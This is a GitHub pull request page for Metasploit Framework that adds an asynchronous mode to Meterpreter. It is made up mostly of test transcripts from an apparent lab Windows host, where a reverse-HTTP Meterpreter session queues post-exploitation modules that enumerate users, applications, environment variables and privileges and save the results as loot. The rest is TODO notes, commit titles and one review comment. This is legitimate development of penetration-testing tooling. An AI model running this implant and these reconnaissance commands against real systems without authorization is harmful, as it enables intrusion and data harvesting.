Async Mode Meterpreter by dledda-r7 · Pull Request #21685 · rapid7/metasploit-framework

dledda-r7 · 2026-07-20T16:06:54Z

This pull request introduces a new "async mode" for Meterpreter sessions, allowing commands to be queued and executed asynchronously.

Writing a Proper PR description when is not in draft anymore

Payloads: rapid7/metasploit-payloads#807
TODO:

Throw an error is the smart-sync is not set when running a post module
Try to block if a post module contains cerain dependency in the compat information section

Post Modules: Test 1

msf payload(windows/x64/meterpreter_reverse_http) > sessions -i -1WARNING: Local file /home/kali/Documents/github/metasploit-framework/data/meterpreter/ext_server_stdapi.x64.dll is being used
[*] Meterpreter session 1 opened (100.124.132.150:8080 -> 100.124.1.234:50764) at 2026-07-20 09:42:35 -0400

[*] Starting interaction with 1...

meterpreter > async config -i 100 -y 60
[+] Async configuration updated (poll 100s, jitter 0%, hours 0:00-24:00, smart-sync 60s).
[*] Config saved locally. Use "async mode on" to activate.
meterpreter > async mode on
[*] Enabling async mode (poll 100s, jitter 0%)...
[+] Async mode enabled. Use "async run <cmd>" to enqueue commands.
[!] Channels, port forwards, interactive shell, and post modules are unavailable in async mode.
meterpreter > async run run post/windows/gather/enum_shares
[*] Queued: run post/windows/gather/enum_shares (rid: ad1e5750)
meterpreter > async run run post/windows/gather/dumplinks
[*] Queued: run post/windows/gather/dumplinks (rid: b7172313)
meterpreter > async run run post/multi/gather/env
[*] Queued: run post/multi/gather/env (rid: 4bd01203)
meterpreter > async queue
Async Command Queue
===================

  RID (short)  Command                              Status   Age
  -----------  -------                              ------   ---
  4bd01203     run post/multi/gather/env            pending  7s
  ad1e5750     run post/windows/gather/enum_shares  pending  12s
  b7172313     run post/windows/gather/dumplinks    pending  11s

meterpreter > [+] Async result ready: run post/windows/gather/enum_shares (rid: ad1e5750). Use 'async queue ad1e5750' to view.
meterpreter > async queue ad1e5750
Command: run post/windows/gather/enum_shares
Status:  complete
Queued:  2026-07-20 09:43:52 -0400
Done:    2026-07-20 09:45:16 -0400 (84.6s)

[*] Running module against WINDEV (172.18.18.173)
[*] No network shares were found

meterpreter > async queue
Async Command Queue
===================

  RID (short)  Command                              Status    Age
  -----------  -------                              ------    ---
  4bd01203     run post/multi/gather/env            pending   2m
  ad1e5750     run post/windows/gather/enum_shares  complete  2m
  b7172313     run post/windows/gather/dumplinks    pending   2m

meterpreter > async queue
Async Command Queue
===================

  RID (short)  Command                              Status    Age
  -----------  -------                              ------    ---
  4bd01203     run post/multi/gather/env            pending   4m
  ad1e5750     run post/windows/gather/enum_shares  complete  4m
  b7172313     run post/windows/gather/dumplinks    pending   4m

meterpreter > async queue
Async Command Queue
===================

  RID (short)  Command                              Status    Age
  -----------  -------                              ------    ---
  4bd01203     run post/multi/gather/env            pending   7m
  ad1e5750     run post/windows/gather/enum_shares  complete  8m
  b7172313     run post/windows/gather/dumplinks    pending   8m

meterpreter > [+] Async result ready: run post/windows/gather/dumplinks (rid: b7172313). Use 'async queue b7172313' to view.
meterpreter > [+] Async result ready: run post/multi/gather/env (rid: 4bd01203). Use 'async queue 4bd01203' to view.
meterpreter > async queue b7172313
Command: run post/windows/gather/dumplinks
Status:  complete
Queued:  2026-07-20 09:43:53 -0400
Done:    2026-07-20 09:52:27 -0400 (514.3s)

[*] Running module against WINDEV (172.18.18.173)
[*] Extracting lnk files for user User at C:\Users\User\AppData\Roaming\Microsoft\Windows\Recent\...
[*] Processing: C:\Users\User\AppData\Roaming\Microsoft\Windows\Recent\config.lnk.
[*] Processing: C:\Users\User\AppData\Roaming\Microsoft\Windows\Recent\Documents.lnk.
[*] Processing: C:\Users\User\AppData\Roaming\Microsoft\Windows\Recent\Downloads.lnk.
[*] Processing: C:\Users\User\AppData\Roaming\Microsoft\Windows\Recent\metasploit-payloads.lnk.
[*] Processing: C:\Users\User\AppData\Roaming\Microsoft\Windows\Recent\meterpreter.sln.lnk.
[*] Processing: C:\Users\User\AppData\Roaming\Microsoft\Windows\Recent\ms-gamingoverlay---.lnk.
[*] Processing: C:\Users\User\AppData\Roaming\Microsoft\Windows\Recent\ms-gamingoverlay--kglcheck-.lnk.
[*] Processing: C:\Users\User\AppData\Roaming\Microsoft\Windows\Recent\windowsdefender--None-.lnk.
[*] Processing: C:\Users\User\AppData\Roaming\Microsoft\Windows\Recent\workspace.lnk.
[*] No Recent Office files found for user User. Nothing to do.

meterpreter > async queue 4bd01203
Command: run post/multi/gather/env
Status:  complete
Queued:  2026-07-20 09:43:57 -0400
Done:    2026-07-20 09:52:31 -0400 (514.2s)

[*] Running module against WINDEV (172.18.18.173)
APPDATA=C:\Users\User\AppData\Roaming
ChocolateyInstall=C:\ProgramData\chocolatey
ChocolateyLastPathUpdate=134195269574059488
ComSpec=C:\WINDOWS\system32\cmd.exe
DriverData=C:\Windows\System32\Drivers\DriverData
HOMEDRIVE=C:
HOMEPATH=\Users\User
LOCALAPPDATA=C:\Users\User\AppData\Local
LOGONSERVER=\\WINDEV
NUMBER_OF_PROCESSORS=16
OS=Windows_NT
OneDrive=C:\Users\User\OneDrive
PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC
PROCESSOR_ARCHITECTURE=AMD64
PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 183 Stepping 1, GenuineIntel
PROCESSOR_LEVEL=6
PROCESSOR_REVISION=b701
PSModulePath=C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules
Path=C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\WINDOWS\System32\OpenSSH\;C:\ProgramData\chocolatey\bin;C:\Program Files\Git\cmd;C:\Users\User\AppData\Local\Microsoft\WindowsApps;
TEMP=C:\Users\User\AppData\Local\Temp
TMP=C:\Users\User\AppData\Local\Temp
USERDOMAIN=windev
USERDOMAIN_ROAMINGPROFILE=windev
USERNAME=User
USERPROFILE=C:\Users\User
windir=C:\WINDOWS
[+] Results saved to /home/kali/.msf4/loot/20260720095231_default_172.18.18.173_windows.environm_890662.txt

meterpreter >

Post Modules: Test 2

meterpreter > async run run post/windows/gather/checkvm
[*] Queued: run post/windows/gather/checkvm (rid: 1fd4a3d4)
meterpreter > [+] Async result ready: run post/windows/gather/checkvm (rid: 1fd4a3d4). Use 'async queue 1fd4a3d4' to view.
meterpreter > async queue 1fd4a3d4
Command: run post/windows/gather/checkvm
Status:  complete
Queued:  2026-07-20 09:56:36 -0400
Done:    2026-07-20 09:56:56 -0400 (20.7s)

[*] Checking if the target is a Virtual Machine ...
[+] This is a Hyper-V Virtual Machine running on physical host HYPERV
[+] This is a Hyper-V Virtual Machine

meterpreter > async run run post/windows/gather/enum_logged_on_users

[*] Queued: run post/windows/gather/enum_logged_on_users (rid: 3895e76e)
meterpreter > async run run post/windows/gather/enum_applications
[*] Queued: run post/windows/gather/enum_applications (rid: c8949511)
meterpreter > 
meterpreter > [+] Async result ready: run post/windows/gather/enum_logged_on_users (rid: 3895e76e). Use 'async queue 3895e76e' to view.
meterpreter > async queue 3895e76e
Command: run post/windows/gather/enum_logged_on_users
Status:  complete
Queued:  2026-07-20 10:08:37 -0400
Done:    2026-07-20 10:09:52 -0400 (74.8s)

[*] Running module against WINDEV (172.18.18.173)

Current Logged Users
====================

 SID                                           User
 ---                                           ----
 S-1-5-21-2405129012-852252299-535125475-1001  windev\User


[+] Results saved in: /home/kali/.msf4/loot/20260720100943_default_172.18.18.173_host.users.activ_430248.txt

Recently Logged Users
=====================

 SID                                           Profile Path
 ---                                           ------------
 S-1-5-18                                      C:\WINDOWS\system32\config\systemprofile
 S-1-5-19                                      C:\WINDOWS\ServiceProfiles\LocalService
 S-1-5-20                                      C:\WINDOWS\ServiceProfiles\NetworkService
 S-1-5-21-2405129012-852252299-535125475-1001  C:\Users\User


[+] Results saved in: /home/kali/.msf4/loot/20260720100952_default_172.18.18.173_host.users.recen_234402.txt

meterpreter > async queue c8949511
Command: run post/windows/gather/enum_applications
Status:  complete
Queued:  2026-07-20 10:08:38 -0400
Done:    2026-07-20 10:11:23 -0400 (165.2s)

[*] Enumerating applications installed on WINDEV

Installed Applications
======================

 Name                                                                Version
 ----                                                                -------
 DiagnosticsHub_CollectionService                                    16.11.36015
 Git                                                                 2.53.0.2
 Microsoft .NET Framework 4 Multi-Targeting Pack                     4.0.30319
 Microsoft Edge                                                      150.0.4078.83
 Microsoft Edge WebView2 Runtime                                     150.0.4078.83
 Microsoft OneDrive                                                  26.113.0614.0004
 Microsoft System CLR Types for SQL Server 2019 CTP2.2               15.0.1200.24
 Microsoft System CLR Types for SQL Server 2019 CTP2.2               15.0.1200.24
 Microsoft Visual C++ 2015-2019 Redistributable (x64) - 14.29.30157  14.29.30157.0
 Microsoft Visual C++ 2015-2019 Redistributable (x86) - 14.29.30157  14.29.30157.0
 Microsoft Visual C++ 2019 X64 Additional Runtime - 14.29.30157      14.29.30157
 Microsoft Visual C++ 2019 X64 Debug Runtime - 14.29.30157           14.29.30157
 Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.29.30157         14.29.30157
 Microsoft Visual C++ 2019 X86 Additional Runtime - 14.29.30157      14.29.30157
 Microsoft Visual C++ 2019 X86 Debug Runtime - 14.29.30157           14.29.30157
 Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.29.30157         14.29.30157
 Microsoft Visual Studio Installer                                   4.4.38.63497
 Microsoft Visual Studio Setup Configuration                         3.7.2182.35401
 Microsoft Visual Studio Setup WMI Provider                          3.7.2182.35401
 Universal CRT Extension SDK                                         10.0.26624
 Universal CRT Headers Libraries and Sources                         10.0.26624
 Universal CRT Redistributable                                       10.0.26624
 Universal CRT Tools x64                                             10.0.26624
 Universal CRT Tools x86                                             10.0.26624
 Update for  (KB2504637)                                             1
 VS Immersive Activate Helper                                        16.0.102.0
 VS JIT Debugger                                                     16.0.102.0
 VS Script Debugging Common                                          16.0.102.0
 Visual Studio Community 2019                                        16.11.54
 Windows XP Targeting with C++                                       11.0.51106
 Windows XP Targeting with C++                                       11.0.51106
 icecap_collection_neutral                                           16.11.34930
 icecap_collection_x64                                               16.11.34930
 icecap_collectionresources                                          16.11.34827
 icecap_collectionresourcesx64                                       16.11.34827
 vcpp_crt.redist.clickonce                                           14.29.30157
 vs_FileTracker_Singleton                                            16.11.34827
 vs_Graphics_Singletonx64                                            16.10.31213
 vs_Graphics_Singletonx86                                            16.10.31213
 vs_communitymsi                                                     16.11.34930
 vs_communitymsires                                                  16.10.31213
 vs_devenvmsi                                                        16.0.28329
 vs_filehandler_amd64                                                16.11.31503
 vs_filehandler_x86                                                  16.11.31503
 vs_minshellinteropmsi                                               16.10.31306
 vs_minshellmsi                                                      16.11.34902
 vs_minshellmsires                                                   16.10.31303
 vs_tipsmsi                                                          16.0.28329


[+] Results stored in: /home/kali/.msf4/loot/20260720101123_default_172.18.18.173_host.application_956543.txt

meterpreter >

Post Modules: Test 3

msf payload(windows/x64/meterpreter_reverse_http) > sessions -i -1WARNING: Local file /home/kali/Documents/github/metasploit-framework/data/meterpreter/ext_server_stdapi.x64.dll is being used
[*] Meterpreter session 1 opened (100.124.132.150:8080 -> 100.124.1.234:50770) at 2026-07-20 10:52:13 -0400

[*] Starting interaction with 1...

meterpreter > async config -i 100 -y 60
[+] Async configuration updated (poll 100s, jitter 0%, hours 0:00-24:00, smart-sync 60s).
[*] Config saved locally. Use "async mode on" to activate.
meterpreter > async mode on
[*] Enabling async mode (poll 100s, jitter 0%)...
[+] Async mode enabled. Use "async run <cmd>" to enqueue commands.
[!] Channels, port forwards, interactive shell, and post modules are unavailable in async mode.
meterpreter > async run run post/multi/general/execute COMMAND='whoami /all'Interrupt: use the 'exit' command to quit
meterpreter > async run run post/multi/general/execute COMMAND='whoami /all'
[*] Queued: run post/multi/general/execute "COMMAND=whoami /all" (rid: 01cfe546)
meterpreter > async queue
Async Command Queue
===================

  RID (short)  Command                                               Status   Age
  -----------  -------                                               ------   ---
  01cfe546     run post/multi/general/execute "COMMAND=whoami /all"  running  9s

meterpreter > async run ls
[*] Queued: ls (rid: 707f8648)
meterpreter > async queue
Async Command Queue
===================

  RID (short)  Command                                               Status   Age
  -----------  -------                                               ------   ---
  01cfe546     run post/multi/general/execute "COMMAND=whoami /all"  running  24s
  707f8648     ls                                                    pending  2s

meterpreter > 
meterpreter > [+] Async result ready: run post/multi/general/execute "COMMAND=whoami /all" (rid: 01cfe546). Use 'async queue 01cfe546' to view.
meterpreter > [+] Async result ready: ls (rid: 707f8648). Use 'async queue 707f8648' to view.
meterpreter > async queue 01cfe546
Command: run post/multi/general/execute "COMMAND=whoami /all"
Status:  complete
Queued:  2026-07-20 10:52:49 -0400
Done:    2026-07-20 10:54:12 -0400 (83.6s)

[*] Executing whoami /all on #<Session:meterpreter 100.124.1.234:50770 (172.18.18.173) "windev\User @ WINDEV">...
[*] Response: 

USER INFORMATION
----------------

User Name   SID                                         
=========== ============================================
windev\user S-1-5-21-2405129012-852252299-535125475-1001


GROUP INFORMATION
-----------------

Group Name                                                    Type             SID          Attributes                                        
============================================================= ================ ============ ==================================================
Everyone                                                      Well-known group S-1-1-0      Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Local account and member of Administrators group Well-known group S-1-5-114    Group used for deny only                          
BUILTIN\Administrators                                        Alias            S-1-5-32-544 Group used for deny only                          
BUILTIN\Users                                                 Alias            S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\INTERACTIVE                                      Well-known group S-1-5-4      Mandatory group, Enabled by default, Enabled group
CONSOLE LOGON                                                 Well-known group S-1-2-1      Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users                              Well-known group S-1-5-11     Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization                                Well-known group S-1-5-15     Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Local account                                    Well-known group S-1-5-113    Mandatory group, Enabled by default, Enabled group
LOCAL                                                         Well-known group S-1-2-0      Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication                              Well-known group S-1-5-64-10  Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Mandatory Level                        Label            S-1-16-8192                                                    


PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                          State   
============================= ==================================== ========
SeShutdownPrivilege           Shut down the system                 Disabled
SeChangeNotifyPrivilege       Bypass traverse checking             Enabled 
SeUndockPrivilege             Remove computer from docking station Disabled
SeIncreaseWorkingSetPrivilege Increase a process working set       Disabled
SeTimeZonePrivilege           Change the time zone                 Disabled


meterpreter > async queue 707f8648
Command: ls
Status:  complete
Queued:  2026-07-20 10:53:10 -0400
Done:    2026-07-20 10:54:15 -0400 (64.7s)

Listing: C:\Users\User\Downloads
================================

Mode              Size      Type  Last modified              Name
----              ----      ----  -------------              ----
100666/rw-rw-rw-  282       fil   2026-04-01 10:19:29 -0400  desktop.ini
100777/rwxrwxrwx  599552    fil   2026-07-20 07:46:52 -0400  metsrv.async.exe
040777/rwxrwxrwx  0         dir   2026-06-22 06:20:26 -0400  snapshot_2026-05-27_12-11
100666/rw-rw-rw-  31526833  fil   2026-06-22 06:20:13 -0400  snapshot_2026-05-27_12-11.zip


meterpreter > exit

…sults

…spatch

…tive

…e subcommands

…sions

…ultStore

…icated shell

…nfig -y'

…c shell

…ility

…ve cmd_exec

dledda-r7 · 2026-07-28T10:09:33Z

@dledda-r7 @jbx81-1337

TODO:
test what breaks, add guardrails. possible breaking point:

disable async mode if current transport is not http(s)
disable transport switch if asyn mode on
disable command like shell, portfwd...
analyze post modules and create a capabilities based list (based on Compat) to understand what we can / can't run

smcintyre-r7 · 2026-07-30T14:59:50Z

+    )
+  end
+
+  DAY_NAMES = { 'sun' => 0, 'mon' => 1, 'tue' => 2, 'wed' => 3, 'thu' => 4, 'fri' => 5, 'sat' => 6 }.freeze


Per ISO 8601, days should start on Monday with 1 and end on Sunday with 7:

DAY_NAMES = { 'mon' => 1, 'tue' => 2, 'wed' => 3, 'thu' => 4, 'fri' => 5, 'sat' => 6, 'sun' => 7 }.freeze

dledda-r7 added 27 commits July 17, 2026 16:05

feat(meterpreter): add COMMAND_ID_CORE_ASYNC_MODE command identifier

2a9faa9

feat(meterpreter): add TLV types for async mode configuration

96d2b51

feat(meterpreter): add AsyncResultStore for tracking async command re…

4dd791b

…sults

feat(meterpreter): add async mode state and config accessors to client

078660f

feat(meterpreter): add send_request_async for non-blocking command di…

b7e0ae5

…spatch

feat(meterpreter): implement async_mode method in ClientCore

c4bcaf4

feat(meterpreter): enforce command restrictions when async mode is ac…

f0fd34c

…tive

feat(meterpreter): add async command with mode, config, run, and queu…

eb82a9e

…e subcommands

feat(sessions): display async mode indicator in session listing

f835ace

feat(sessions): block post modules from running against async sessions

67309a8

fix(sessions): preserve async timeout when interacting with async ses…

b1b9761

…sions

perf(meterpreter): consolidate async output into single print calls

8472f68

fix(sessions): remove duplicate async indicator in session listing

2bfd601

fix(meterpreter): allow async run to bypass command restriction check

7cd11d5

refactor(meterpreter): remove unused send_request_async helper

fc8df89

feat(meterpreter/async): add worker thread and work queue to AsyncRes…

c57455a

…ultStore

feat(meterpreter/async): add dedicated async_shell factory on client

40f1b45

feat(meterpreter/async): route async run through worker queue and ded…

54e8172

…icated shell

feat(meterpreter/async): define TLV_TYPE_ASYNC_SMART_SYNC

1b38b17

feat(meterpreter/async): default smart_sync to 0 in async_config

0102d5a

feat(meterpreter/async): send smart_sync TLV in core_async_mode request

e27e77f

feat(meterpreter/async): expose smart-sync burst window via 'async co…

85e958f

…nfig -y'

fix(meterpreter/async): scale shutdown wait to poll interval

1daf91a

fix(meterpreter/async): warn and stop async worker on session exit

edcd938

feat(meterpreter/async): dispatch post modules through dedicated asyn…

4760d35

…c shell

feat(meterpreter/async): worker debug logging and running-state visib…

8292c36

…ility

fix(meterpreter/async): floor response_timeout in async mode to survi…

057fe06

…ve cmd_exec

github-project-automation Bot added this to Metasploit Kanban Jul 20, 2026

github-project-automation Bot moved this to Todo in Metasploit Kanban Jul 20, 2026

dledda-r7 mentioned this pull request Jul 20, 2026

Async Mode Windows Meterpreter rapid7/metasploit-payloads#807

Draft

fix: msftidy fix

fe46da5

bwatters-r7 added the group-review PRs flagged to get a group review during our weekly module hacking meeting. label Jul 30, 2026

smcintyre-r7 reviewed Jul 30, 2026

View reviewed changes

adfoster-r7 removed the group-review PRs flagged to get a group review during our weekly module hacking meeting. label Aug 6, 2026

Navigation Menu

Uh oh!

Async Mode Meterpreter - #21685

Async Mode Meterpreter#21685
dledda-r7 wants to merge 28 commits into
rapid7:masterfrom
dledda-r7:feat/async-metsrv

dledda-r7 commented Jul 20, 2026 •

edited

Loading

Uh oh!

dledda-r7 commented Jul 28, 2026 •

edited

Loading

Uh oh!

smcintyre-r7 Jul 30, 2026

Uh oh!

Reviewers

Assignees

Labels

Projects

Milestone

Development

Uh oh!

4 participants

Uh oh!

Conversation

dledda-r7 commented Jul 20, 2026 • edited Loading Uh oh! There was an error while loading. Please reload this page.

Uh oh!

Uh oh!

dledda-r7 commented Jul 28, 2026 • edited Loading Uh oh! There was an error while loading. Please reload this page.

Uh oh!

Uh oh!

smcintyre-r7 Jul 30, 2026

Choose a reason for hiding this comment

Uh oh!

Reviewers

Assignees

Labels

Projects

Milestone

Development

Uh oh!

4 participants

dledda-r7 commented Jul 20, 2026 •

edited

Loading

dledda-r7 commented Jul 28, 2026 •

edited

Loading